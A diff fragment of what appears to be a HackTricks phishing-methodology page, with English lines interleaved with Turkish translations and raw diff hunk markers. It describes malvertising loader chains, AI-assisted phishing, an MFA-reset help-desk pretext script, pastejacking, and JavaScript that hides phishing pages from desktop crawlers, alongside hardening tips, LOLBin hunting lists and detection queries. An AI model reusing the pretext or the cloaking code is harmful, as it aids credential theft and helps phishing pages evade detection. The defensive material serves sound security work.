1. **SEO poisoning / malvertising** pushes a fake result such as `chromium-update[.]site` to the top search ads.
2. Victim downloads a small **first-stage loader** (often JS/HTA/ISO). Examples seen by Unit 42:
1. **SEO poisoning / malvertising**, `chromium-update[.]site` gibi sahte bir sonucu üst sıradaki arama reklamlarına iter.
2. Kurban küçük bir **first-stage loader** indirir (çoğunlukla JS/HTA/ISO). Unit 42 tarafından görülen örnekler:
* `RedLine stealer`
* `Lumma stealer`
* `Lampion Trojan`
3. Loader exfiltrates browser cookies + credential DBs, then pulls a **silent loader** which decides *in realtime* whether to deploy:
* RAT (e.g. AsyncRAT, RustDesk)
3. Loader tarayıcı çerezlerini + kimlik bilgileri veritabanlarını dışarı aktarır, sonra **sessiz bir loader** çeker ve bu loader *gerçek zamanlı* olarak karar verir dağıtılacak mı:
* RAT (ör. AsyncRAT, RustDesk)
* ransomware / wiper
* persistence component (registry Run key + scheduled task)
* persistence bileşeni (registry Run anahtarı + scheduled task)
### Hardening tips
* Block newly-registered domains & enforce **Advanced DNS / URL Filtering** on *search-ads* as well as e-mail.
* Restrict software installation to signed MSI / Store packages, deny `HTA`, `ISO`, `VBS` execution by policy.
* Monitor for child processes of browsers opening installers:
### Sertleştirme ipuçları
* Yeni kayıtlı domainleri engelleyin ve *arama reklamları* için Advanced DNS / URL Filtering uygulayın.
* Yazılım kurulumunu imzalı MSI / Store paketleri ile kısıtlayın, `HTA`, `ISO`, `VBS` çalıştırmayı politika ile engelleyin.
* Tarayıcıların child process olarak kurulum açan süreçlerini izleyin:
```yaml
- parent_image: /Program Files/Google/Chrome/*
and child_image: *\\*.exe
```
* Hunt for LOLBins frequently abused by first-stage loaders (e.g. `regsvr32`, `curl`, `mshta`).
* İlk aşama loader'lar tarafından sıkça kötüye kullanılan LOLBins için hunt yapın (ör. `regsvr32`, `curl`, `mshta`).
---
## AI-Enhanced Phishing Operations
Attackers now chain **LLM & voice-clone APIs** for fully personalised lures and real-time interaction.
## AI Destekli Phishing Operasyonları
Saldırganlar artık tam kişiselleştirilmiş tuzaklar ve gerçek zamanlı etkileşim için **LLM & voice-clone API'lerini** zincirliyor.
| Layer | Example use by threat actor |
| Katman | Tehdit aktörü tarafından örnek kullanım |
|-------|-----------------------------|
|Automation|Generate & send >100 k emails / SMS with randomised wording & tracking links.|
|Generative AI|Produce *one-off* emails referencing public M&A, inside jokes from social media; deep-fake CEO voice in callback scam.|
|Agentic AI|Autonomously register domains, scrape open-source intel, craft next-stage mails when a victim clicks but doesnt submit creds.|
|Automation|>100k e-posta / SMS üretebilir ve gönderebilir, rastgeleleştirilmiş ifadeler ve takip linkleri kullanır.|
|Generative AI|Kamuya açık M&A, sosyal medyadan şaka vb. referanslar içeren *tek seferlik* e-postalar üretir; geri aramada CEO deep-fake sesi kullanır.|
|Agentic AI|Otonom olarak domain kaydeder, açık kaynak istihbaratı tarar, bir kurban tıkladığında fakat kimlik bilgilerini göndermediğinde bir sonraki aşama e-postasını hazırlar.|
**Defence:**
• Add **dynamic banners** highlighting messages sent from untrusted automation (via ARC/DKIM anomalies).
Deploy **voice-biometric challenge phrases** for high-risk phone requests.
Continuously simulate AI-generated lures in awareness programmes static templates are obsolete.
**Savunma:**
• ARC/DKIM anomalileri yoluyla otomasyondan gönderilen mesajları vurgulayan **dinamik bantlar** ekleyin.
Yüksek riskli telefon talepleri için **ses-biyometrik meydan okuma ifadeleri** uygulayın.
Farkındalık programlarında AI üretimli tuzakları sürekli simüle edin statik şablonlar artık güncel değil.
See also agentic browsing abuse for credential phishing:
Ayrıca bkz. credential phishing için agentic browsing istismarları:
{{#ref}}
ai-agent-mode-phishing-abusing-hosted-agent-browsers.md
@ -526,20 +525,20 @@ ai-agent-mode-phishing-abusing-hosted-agent-browsers.md
---
## MFA Fatigue / Push Bombing Variant Forced Reset
Besides classic push-bombing, operators simply **force a new MFA registration** during the help-desk call, nullifying the users existing token. Any subsequent login prompt appears legitimate to the victim.
## MFA Yorgunluğu / Push Bombing Varyantı Zorunlu Sıfırlama
Klasik push-bombing dışında operatörler basitçe help-desk görüşmesi sırasında yeni bir MFA kaydı zorlar ve kullanıcının mevcut token'ını geçersiz kılar. Sonraki herhangi bir giriş istemi kurbana meşru gibi görünür.
```text
[Attacker] → Help-Desk: “I lost my phone while travelling, can you unenrol it so I can add a new authenticator?”
[Help-Desk] → AzureAD: Delete existing methods → sends registration e-mail
[Attacker] → Completes new TOTP enrolment on their own device
```
AzureAD/AWS/Okta olaylarını, **`deleteMFA` + `addMFA`** işlemlerinin **aynı IP'den birkaç dakika içinde** gerçekleştiği durumlar için izleyin.
AzureAD/AWS/Okta olaylarında aynı IP'den birkaç dakika içinde **`deleteMFA` + `addMFA`** gerçekleşen durumları izleyin.
## Clipboard Hijacking / Pastejacking
Attackers can silently copy malicious commands into the victims clipboard from a compromised or typosquatted web page and then trick the user to paste them inside **Win + R**, **Win + X** or a terminal window, executing arbitrary code without any download or attachment.
Saldırganlar, ele geçirilmiş veya typosquatted bir web sayfasından kurbanın clipboard'ına gizlice kötü amaçlı komutlar kopyalayabilir ve sonra kullanıcıyı **Win + R**, **Win + X** veya bir terminal penceresine yapıştırmaya kandırarak herhangi bir indirme veya ek olmadan rastgele kod çalıştırabilirler.
{{#ref}}
@ -553,6 +552,33 @@ clipboard-hijacking.md
mobile-phishing-malicious-apps.md
{{#endref}}
### Mobilegated phishing to evade crawlers/sandboxes
Operatörler, desktop crawler'ların son sayfalara asla ulaşmaması için phishing akışlarını giderek basit bir cihaz kontrolünün arkasına alıyor. Yaygın bir örüntü, dokunmatik özellikli bir DOM'u test eden ve sonucu bir server endpoint'ine gönderen küçük bir script'tir; nonmobile istemciler HTTP 500 (veya boş bir sayfa) alırken, mobile kullanıcılara tam akış sunulur.
Minimal client snippet (typical logic):
```html
<script src="/static/detect_device.js"></script>
```
`detect_device.js` mantığı (basitleştirilmiş):
```javascript
const isMobile = ('ontouchstart' in document.documentElement);
fetch('/detect', {method:'POST', headers:{'Content-Type':'application/json'}, body: JSON.stringify({is_mobile:isMobile})})
.then(()=>location.reload());
```
Sıkça gözlemlenen sunucu davranışı:
- İlk yüklemede bir session cookie ayarlar.
- Kabul eder: `POST /detect {"is_mobile":true|false}`.
- Sonraki GET'lere `is_mobile=false` olduğunda 500 (veya placeholder) döner; sadece `true` ise phishing sunar.
Hunting ve tespit heuristikleri:
- urlscan sorgusu: `filename:"detect_device.js" AND page.status:500`
- Web telemetrisi: `GET /static/detect_device.js``POST /detect` → nonmobile için HTTP 500; gerçek mobil kurban yolları 200 döner ve takip eden HTML/JS sunar.
- İçeriği yalnızca `ontouchstart` veya benzeri cihaz kontrollerine göre koşullandıran sayfaları engelleyin veya yakından inceleyin.
Savunma ipuçları:
- Crawler'ları mobil benzeri fingerprint'lerle ve JS etkin olarak çalıştırarak kısıtlı içeriği ortaya çıkarın.
- Yeni kayıtlı domainlerde `POST /detect` sonrası gelen şüpheli 500 yanıtları için uyarı oluşturun.
## Referanslar
- [https://zeltser.com/domain-name-variations-in-phishing/](https://zeltser.com/domain-name-variations-in-phishing/)
@ -560,5 +586,6 @@ mobile-phishing-malicious-apps.md
- [https://darkbyte.net/robando-sesiones-y-bypasseando-2fa-con-evilnovnc/](https://darkbyte.net/robando-sesiones-y-bypasseando-2fa-con-evilnovnc/)
- [https://www.digitalocean.com/community/tutorials/how-to-install-and-configure-dkim-with-postfix-on-debian-wheezy](https://www.digitalocean.com/community/tutorials/how-to-install-and-configure-dkim-with-postfix-on-debian-wheezy)
- [2025 Unit 42 Global Incident Response Report Social Engineering Edition](https://unit42.paloaltonetworks.com/2025-unit-42-global-incident-response-report-social-engineering-edition/)
- [Silent Smishing mobile-gated phishing infra and heuristics (Sekoia.io)](https://blog.sekoia.io/silent-smishing-the-hidden-abuse-of-cellular-router-apis/)
{{#include ../../banners/hacktricks-training.md}}